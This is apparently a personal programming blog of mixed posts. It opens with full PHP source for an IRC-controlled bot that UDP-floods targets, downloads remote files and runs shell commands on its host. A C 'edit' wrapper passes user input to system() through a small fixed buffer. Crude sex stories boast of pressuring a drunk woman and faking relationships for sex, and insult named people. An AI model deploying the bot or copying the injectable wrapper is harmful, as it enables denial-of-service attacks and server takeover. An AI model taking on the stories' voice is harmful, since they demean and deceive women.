Old PHP Bot I Wrote

I made this a long time ago when I was just getting into PHP and recently found it on mcgrewsecurity.com. Now I’ve never had any problems with mcgrew and have talked to him on a few occasions but I’ve recently found out what a giant piece of shit he is. Really all he does is run around on the web playing favorites and picks on retards to make himself look like a seasoned security professional. Anyway here’s the code

<? error_reporting(0); set_time_limit(0); // EDIT THIS $chan = ""; $server = ""; $port = 6667; $nickform = 'TestBot-%d'; $pass = ''; //md5 $hostauth = '10.0.0.1'; //ip or hostmask // STOP EDITTING NOW. $logged_in = 0; $rand = ""; for ($i = 0; $i < 8; $i++) { $rand .= mt_rand( 0, 9 ); } $nick = sprintf($nickform, $rand); $socket = fsockopen("$server", $port); fputs($socket,"USER $nick $nick $nick $nick :$nick\n"); fputs($socket,"NICK $nick\n"); fputs($socket,"JOIN ".$chan."\n"); while(1) { while($data = fgets($socket)) { echo nl2br($data); // flush(); $ex = explode(' ', $data); $rawcmd = explode(':', $ex[3]); $oneword = explode('<br>', $rawcmd); $channel = $ex[2]; $nicka = explode('@', $ex[0]); $nickb = explode('!', $nicka[0]); $nickc = explode(':', $nickb[0]); //header("Content-type: text/plain"); $host = $nicka[1]; $authnick = $ex[0]; //$nick = $nickc[1]; if($ex[0] == "PING"){ fputs($socket, "PONG ".$ex[1]."\n"); } $args = NULL; for ($i = 4; $i < count($ex); $i++) { $args .= $ex[$i] . ' '; } if (preg_match("/!auth/", $rawcmd[1]) && preg_match("/$hostauth/", $authnick)) { $attempt = trim($ex[4]); if (md5($attempt) === $pass) { $logged_in = 1; $authnick = $ex[0]; fputs($socket, "PRIVMSG ".$channel." Logged In \n"); } else {fputs($socket, "PRIVMSG ".$channel." Failed login attempt! ".md5($attempt)." \n"); } } elseif (preg_match("/!vuln/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick)){ $server_name = $_SERVER['SERVER_NAME']; $req_uri = $_SERVER['REQUEST_URI']; $vuln = "http://".$server_name.$req_uri; fputs($socket, "PRIVMSG ".$channel." vuln url ".$vuln." \n"); } elseif (preg_match("/!pwn/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick)) { $time = trim($ex[6]); $target = trim($ex[4]); $pkts = trim($ex[5]); fputs($socket, "PRIVMSG ".$channel." hitting ".$target." with $pkts pkts for $time seconds \n"); $packt = ""; for($i=0;$i<$pkts;$i++) { $packt .= chr(mt_rand(1,256)); } $timei = time(); $a = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$target,mt_rand(1,256),$e,$s,5); fwrite($fp,$packt); fclose($fp); $a++; } $evv = $a * $pkts; $evv = $evv / 1048576; $vel = $evv / $time; $vel = round($vel); $evv = round($evv); fputs($socket, "PRIVMSG ".$channel." hit ".$target." with ".$evv."MB at ".$vel."MB/s \n"); } elseif (preg_match("/!down/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick)) { $rfile = trim($ex[4]); $lfile = trim($ex[5]); if (!$fp = fopen($lfile, "w")) { fputs($socket, "PRIVMSG ".$channel." Permission Denied\n"); } else { if(!$get = file($rfile)) { fputs($socket, "PRIVMSG ".$channel." Download Failed \n"); } else { for($i=0;$i <= count($get); $i++) { fwrite($fp, $get[$i]); } fputs($socket, "PRIVMSG ".$channel." Download Succeeded \n"); fclose($fp); } } } elseif (preg_match("/!exec/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick)) { $cmd = trim($ex[4]." ".$ex[5]." ".$ex[6]." ".$ex[7]." ".$ex[8]); if(!$resp = system($cmd)) { fputs($socket, "PRIVMSG ".$channel." Exec Failed \n"); } else { fputs($socket, "PRIVMSG ".$channel." Exec Succeeded \n"); } } elseif ($rawcmd[1] == "!gtfo" && $logged_in == '1' && preg_match("/$hostauth/", $authnick)) { fclose($socket); exit( ); } } }

Sorry Random Taxi Driver

So a friend from high school, Bob, came over to our house the other day. Jim, my roommate, and I were all hanging out drinking and carrying on and Bob asks us if we wanted to go to a party later. We weren’t sure because we really didn’t like him too much but we decided to anyway. We get there around 11pm and I’m holding a box of dr peppers and a big ass bottle of jack. We walk in and I see 2 girls and 3 guys not including my roommate and myself. The girls are pretty decent looking so we decide to stay for a while despite the amount of potential cock blocking that may follow. I make myself the usual 5 finger mix drink and get my game face on.

We start playing beer pong and hanging out on the balcony and Bob starts telling my roommate that he should go for this one girl named Laura. Little did we know that Bob has had a crush on her for a few months now. Why he decided to try and hook Jim up with her is still a mystery. He then starts playing the middle man because Laura trusts Bob, and since he trusts Jim then he must be ok, right? He goes and tells Laura that Jim thinks she’s cute and all this shit and then Jim goes over to talk to her. They seem to hit it off and then we start playing beer pong. Jim and Laura are paired up while I’m with the other girl Stephanie. We play a couple of rounds while Bob and the other 2 guys sit in the background unnoticed. Things are good. As the night progresses I notice Bob getting more and more edgy about what he had done. We play about 5 rounds of beer pong, of which my team lost every one, because the girl didn’t seem like the one night stand type, and a sloppy drunk is fine with me as long as I don’t get puked on and that warm hole is still warm. Then, Jim and Laura say they’re going to go to sleep and as they shut the door I heard a faint thud behind me, of which I presume to be Bob’s jaw on the ground. He was under the false notion that she was a “good girl” and that she didn’t do such things. Wrong. I heard later that she did everything a guy could want and more. A few minutes later I had the Stephanie chick up on the counter and I was rounding first base at a full sprint. Bob and the other 2 guys realize that the night is pretty much finished and excuse themselves. Bob is not happy.

The current potential and I are in the kitchen basically dry humping the cabinets loose when I hear “MORTAL KOMBAT” come from Laura’s room. Without missing a beat I yell “FINISH HER” in turn and fall on the ground laughing. Fortunately both girls thought it was hilarious. Things are really good. I ask Stephanie if she’d like to go to a more appropriate venue and she’s under the impression that it’s wrong to fuck in someone else’s bed. So we end up on the couch. I’m stuck playing pickle between second and third base because she still has some shred of dignity that all the alcohol has failed to strip away. She keeps slapping my hand away and finally I just say fuck it and go for it. It was like I unleashed a fucking demon. I swear to god this girl went from mildly playful to “I want to eat your dick like a kielbasa sausage” in under a second. She was moaning so loud that my roommate woke up from his post sex comatose because he thought I was killing her. We both end up naked and she won’t let me stick it in without a condom. So, I put my pants back in and go to get one from Jim. The door is locked. I walk into the bathroom, locked as well. I’m pissed. I have a naked girl on the couch, ready to fuck, and all I need is a condom. Also, I honestly don’t think I’m going to be able to get away with just shoving my dick inside her. She’ll either get pissed, or I will be the next morning when I’m pissing bullets. So, I start turning the door handle as hard as I can, and the fucking thing falls off. I am very happy at this. I walk in and proceed to grab Jim by his face and shake him violently all the while saying “I need a rubber. Tell me you have a fucking condom.” Laura wakes up and says “Bob if you fuck my cousin, I’m going to fucking shank you.” I disregard this. Jim tells me that the only condom he has is on the floor and I’m welcome to it. Only then do I take in my surroundings. There’s clothes everywhere, not one, but 3 condoms on the floor, she’s naked, and has dried semen all over her tits. It looked like Ike and Tina Turner just had a 15 hour fist fight. Realizing that there isn’t an unused rubber in ~5 miles, I stalk back into the living room and try to convince her to do it without one, or to at least get me off. Not happening. I’m fucking pissed.

Without saying a word, I slam the door, start to leave, walk back inside, grab my bottle of jack, slam the door again, and start walking. I’m walking down the road drinking a quarter full bottle of jack with my thumb out stumbling around when I realize that I actually have money. So I call a taxi and proceed to sit on the curb and wait. When he pulls up he looks at me and says, “Looks like you had a rough night,” and for a reply I spray vomited all over the ground. He wasn’t having any of that and told me to call another taxi, which I did. The second one arrived and I managed to get in the car and tell him where I was going without ruining his fine beaded headrest. We start talking about how he deals with people that try to rip him off and about two miles from my house it hits me like a fucking wrecking ball. I turn to puke out the window but it’s rolled up. So instead I projectile vomit into the window and all over his cab. He flies off the road screaming get out get out and I make it to the concrete just as I finish. I turn around and watch it dripping off the door and look at the wretched mess I’ve made in his car and on myself. So I look him right in the eye and tell him “Well… there’s not much to say, so here’s the 12 dollars I owe you,” and started walking again. He passed me about 10 minutes later yelling cocksucker out the window. I arrive home and am in no mood to go to sleep so about 4 hours later, around noon I call the potential from the night before, make up some bullshit story, and she agrees to come over. Everything went smoothly because I have a fucking family pack of condoms in my room. The next day I hear that Bob had confronted Laura and asked her why she would never go out with him and why she would just hook up with my roommate after knowing him for an hour. She slammed the door in his face. Neither my roommate or myself have heard from him since.

The day after she came over I get this txt because I had convinced her that she was everything I was looking for and she was contemplating breaking up with her current bf, and I was contemplating fucking her again. I’ll tell a girl she’s beautiful, amazing, I love her, whatever just to fuck her. The way I figure it is, she can fake an orgasm, I can fake an entire relationship.

~Tully

More efficient way to alias commands

So today I was thinking about alias and how i would prefer to do things more efficiently. With alias you can do things like instead of rm’ing a file and never getting it back, just move it to .Trash or something. Although, this has some shortcomings. I wrote a little script that would instead make an executable to run nano -w -c $file that way i can have word wrapping and line counting. So i just run “edit somefile” and it opens nano with those arguments. Just do “gcc edit.c -o /bin/edit && chmod 755 /bin/edit” and your good to go.

#include <stdio.h>
int main(int argc, char** argv)
{
char edit_cmd[50];
sprintf(edit_cmd, "nano -w -c %s", argv[1]);
system(edit_cmd);
return 0;
}

Taming The Electron

So, Trevelyn from WeakNet asked me to co-host a show with him called “Taming the Electron”. We went over a lot of C topics and I think it was pretty educational. Give it a listen if you’re interested in C or programming.

http://weaknetlabs.com/tamingtheelectron/TtE_Ep002_C_2010.mp3

Third Wheels

Cock Block

So, yesterday I had a girl I’d met in school come up to visit me. She says that she’s bringing a friend. I assume that her friend is either going to be DTF or at least be able to show one of my room mates a good time. I get the call that their at my house and walk outside to greet them like a good host and find one of the most vile disgusting people I have ever seen standing in my yard. Chin length hair parted right down the middle of her scalp that looks like it had a mixture of gum and semen knotted in it for weeks along with the exact facial features of nancy pelosi. She rivals this god forsaken creature.

I seriously felt like the value of my house drastically dropped when she stepped over the threshold. She wasn’t fat, she just had one of those faces that would make you wish you were born blind so that you would have never been subjected to something that hideous. Now, I’m not saying she’s a terrible person or anything, I’ll say that later in this post. Although, I will say that I can understand why the girl I was with brought her along. She looked like Carmen fucking Electra when she stood next to her.

So, after I had choked back the bile and vomit threatening to erupt from my heavy-laden jaw. I introduced them to my room mates like a good host, and soon realized that I had no wingman for the night because neither of my room mates would touch that girl with a 10ft. pole. That is really saying something because both of them will fuck anything moderately attractive with 2 legs and a vagina. So, realizing this, I immediately assume that I will have to carry the extra burden and appease not only the girl I’m trying to plow but her Sandra Bernhard looking friend. I pick a movie that any American born will enjoy, The Hangover, and we settle down to watch it. The unibrow pitt bull face of a female immediately starts bitching about being cold in the dead of winter so I go to retrieve some blankets which I hoped would have helped get the potential one night stand in the mood. To my dismay however, I keep getting the hand block that means “you can hold my hand but you can’t touch my twat while she’s in the room because it makes me feel uncomfortable.” So, needless to say I was fucking pissed off at this. After this atrocious scene was concluded, my friends, the potential, and a female Steve Buscemi go out on the town and leopard face convinces the potential that she should get a tat in the middle of her fucking back. Seriously? If you don’t realize what that means I’ll explain it for you. It means that she is going to either A. be afraid to fuck up the tat and not want to do ANYTHING on her back or B. it’s going to hurt too much for her to be sliding back and forth on it all night. After that we get some food and go back to my house. I put on Paranormal Activity in hopes that the scary movie tactic will do the trick and I make some headway. The goblin was too scared to watch most of it and that allowed me to work a little magic on the sly. Then, I was blessed beyond anything i deserve. One of the most fundamental of human needs that I have taken for granted for 20+ years. The need for sleep. Elephant face says she has to be home early and needs to get some rest. Then, low and behold she pulls out another fucking treacherous act that no man should ever have to endure. She says that she doesn’t want to sleep alone, and of course her friend thinks that’s a necessity she shouldn’t be forced to do without. I realize that it’s do or die time. I offer to clean her tat up while her friend goes to lay down. This kind act gets her alone with me in the bathroom and, modesty aside, I show her a taste of what she’d be getting.

With that I pretty much sealed the deal. She went into the adjacent room, told her friend she wasn’t tired, and that she wanted to watch Blindside really bad. I did turn on Blindside since she asked me to, but at a very low volume. Then, I proceeded to fuck her as loudly as I possibly could, banging my headboard against the wall with a mixture of her moaning and me screaming at the top of my lungs for over three hours. I wanted to rub it in that dirty bitches face that all her efforts to thwart my plans to defile her friend were to no avail. She did end up sleeping with her friend because I wanted taco cabana and the deed was already done. I was also warmly greeted the following morning by a well rested and newly found playmate. Although, that was short lived. The girl who looks like you multithreaded every major std and piped that into facial appearance walks in and pretends to be genuinely intrigued by the show Scrubs. I politely look her in the face, something i hope i NEVER have to do again, and tell her that we have plenty of milk and cereal in the kitchen and that she should go make herself a big breakfast. Apparently, she was either pissed at me, had no intentions of enduring what happened last night, or was just a complete fucking retard and doesn’t understand what a fucking subtle hint is. Personally I think it was the latter. I then grudgingly put my pants on and walk them to the their car, saying my goodbyes, and walking back inside. After that, since my room mate doesn’t understand common courtesy, in 20 degree weather, and blocks me in in the driveway, I walk down to the local gas station and buy me a red bull and a can of snuff. While walking back with the arctic wind in my face, staring at the ground, i spot a 50 dollar bill right where their car had been parked. It was laying right where the passenger door had been and I had seen the grotesquely featured inbred pocket it last night. So, obviously I picked it up and place it in my own pocket. I plan to spend every cent of it on rubbers to be used on her friend. Just to spite the cock blocking hussy.

This should be a lesson to everyone. If you are the 3rd wheel, and you ARE NOT explicitly told by BOTH parties that your presence is welcomed. Leave them the fuck alone, and for damn sure take a fucking hint when they want you to get the fuck away. I hope you enjoyed this story at least 1/10th as much as I enjoyed getting revenge on one of my more challenging opponents.

~Tully

Things I find funny

This is just a little list I’ve decided to put together to show everyone how lucky you are to be able to think coherent thoughts.

Gary Busey


Personally, I think this man has a gift. He can take ANYTHING and make a motivational speech about it by throwing in a bunch of random metaphors and do it all just short of a seizure. Thanks Gary for being you.

Jerry A. Taylor from Tuttle Oklahoma

Now this guy is something special imo. He goes to the city’s website and finds the default index page for his hosting provider. Thinking he was rooted and defaced he proceeds to email CentOS and tell them off for haxoring his shit. It’s a pretty good read.

hu, 23 Mar 2006 00:52:58 +0000  (Wed, 18:52 CST)
Jerry A. Taylor submitted the following Information:
Email xxxxxxx
Company City of Tuttle
Location Oklahoma
Comments

Who gave you permission to invade my website and block me and anyone else from accessing it???
Please remove your software immediately before I report it to government officials!!
I am the City Manager of Tuttle, Oklahoma.

-----------------------------------------------

From: 	Johnny Hughes
To: 	Jerry A. Taylor
Subject: 	Re: www.centos.org - Contact Us Form
Date: 	Wed, 22 Mar 2006 18:59:18 -0600

I feel sorry for your city.

CentOS is an operating system.  It is probably installed on the computer
that runs your website.

We hope you are happy with it, since we produced it for free and you are
able to use it without paying us ... and are even threatening to have us
arrested for providing to you free of charge.

Please contact someone who does IT for you and show them the page so
that they can configure your apache webserver correctly.

Thanks,
Johnny Hughes,
CentOS 4 Lead Developer

-----------------------------------------------

From: 	Jerry A. Taylor
To: 	CentOS Web Site
Subject: 	www.centos.org - Contact Us Form
Date: 	Thu, 23 Mar 2006 18:58:31 +0000  (12:58 CST)

Jerry A. Taylor submitted the following Information:
Email xxxxx
Company City of Tuttle
Location Oklahoma
Comments

Get this web site off my home page!!!!!
It is blocking access to my website!!!!~!

-----------------------------------------------

From: 	Johnny Hughes
To: 	Jerry A. Taylor
Subject: 	Re: www.centos.org - Contact Us Form
Date: 	Thu, 23 Mar 2006 13:45:37 -0600

It is not a website ... it is the operating system.

I would be glad to help you configure your webserver.

Do you own the machine that your web site is on, or is it at a hosting
provider.

If it is at a provider, they need to properly configure their webserver.

If it is on your machine, your apache needs to be properly configured.

I am assuming that you are seeing a page that looks like this:

http://centos.hughesjr.com/testing/noindex_new.html

If so, it tells you exactly what needs to be done to fix the problem.
If your server is at a provider location, they should be able to fix it
if you tell them about the issue.

We didn't DO ANYTHING ... that is what the default apache setup looks
like if you are running our operating system (CentOS).  So how your
configuration file has been replaced by the default one ... that is not
something that we can do, it is something that might have been done by
the administrator of the machine.

IF you are not sending these e-mails via the CentOS.org homepage, please
reply to this e-mail so that I will know that.

Thanks,
Johnny Hughes
CentOS-4 Lead Developer

-----------------------------------------------

From: 	Jerry.Taylor
To: 	Johnny Hughes
Subject: 	Re: www.centos.org - Contact Us Form
Date: 	Thu, 23 Mar 2006 13:54:24 -0600

I do not want this software!!!!  This is the City of Tuttle, Oklahoma. Get rid of this software!!!!!
Second notice!

-----------------------------------------------

From: 	Jerry.Taylor
To: 	Johnny Hughes
Subject: 	Re: www.centos.org - Contact Us Form
Date: 	Thu, 23 Mar 2006 13:58:23 -0600

Johnny,
Unless this software is removed I will file a complaint with the FBI.

-----------------------------------------------

You can read the whole story here https://www.centos.org/modules/news/article.php?storyid=127

Iphone Programming

So, I’ve been getting into objective-c. I’m thinking about making a program to solve all the homework problems i encounter throughout college. It seems like something that would be pretty beneficial and would also help me understand my fucking homework. So if you have any books or videos on iphone programming that helped you please comment. I’ve already programmed pretty much a whole college algebra class into a C program and from my understanding its not that hard to port. I’ll post up some shit soon once it’s worthy.

Dexter Season 4

So I just finished season 4 of Dexter last night and all I can say is wow. It is definitely my favorite season so far. Filled with the usual moral dilemmas and twist and turns with every episode. I give it a 10/10 and recommend it to anyone that watches tv as a must see.

Find Nth Fibonacci Number

Program is rather simple. It uses a recursive function to find the Nth Fibonacci number in the sequence. Use as you please.

#include <stdio.h> //basic input output 

int fibonacci(int input) // specify function and input
{
        if (1 == input || 2 == input) // if user sets input to 1 or 2 then return right value
        {
                return input-1;
        }
        else // return Nth value
        {
                return (fibonacci(input-1) + fibonacci(input-2));
        }
}

int main()
{
        int input;      
        int result;
        printf("Enter a number:  "); // output info to screen
        scanf("%d", &input);  // take input from user
        result = fibonacci(input); // call fibonacci function and pass the value of input
        printf("The %d-th number in the Fibonacci sequence is %d\n", input, result); // print results to screen
        return 0;  // exits program with success
}

Factor numbers and find their qualities

This program is rather simple. It factors a number and finds out if the number is perfect, abundant, or deficient. This is found by the factors of the number being added up and compared to the initial number. So 12 would have the factors 6, 4, 3, 2, 1. You don’t include the number 12. So the sum of those is 16 which makes the number abundant. If the sum is the same as the initial number, like 6, then it is perfect.

#include <stdio.h>  //basic input output

int sum_of_factors(int numerator, int denominator) //specify function and whats passed to it

{
        if (denominator==0) //end function loop
                return 0;
        else  if (numerator%denominator==0) //print factors to screen and incriment the sum of them
                {
                printf("%d, ", denominator);
                return sum_of_factors(numerator, denominator-1)+denominator;
                }
        else //decriment the denominator
                return sum_of_factors(numerator, denominator-1);

}

int main(int argc, char** argv)
{
        int input, result;
        char cont;
do {
        printf("\nDetermine Integer Type");
        printf("\nInput a number: >>");
        scanf("%d", &input);
        result = sum_of_factors(input, input>>1); //call function sum_of_factors and pass it the numerator and denominator
        if (result<input)
                printf("\n%d is deficient\n", input);
        else if (result>input)
                printf("\n%d is abundant\n", input);
        else if (result=input)
                printf("\n%d is perfect\n", input);
        else {
                printf("\nSomething went wrong"); }
        printf("\nDo more (y/n) ? ");
        scanf ("%s", &cont);
}while (cont == 'y' || cont == 'Y');
return 0;
}
Return top

INFORMATION

Welcome to Buffer0verflow. Subscribe to our RSS feed!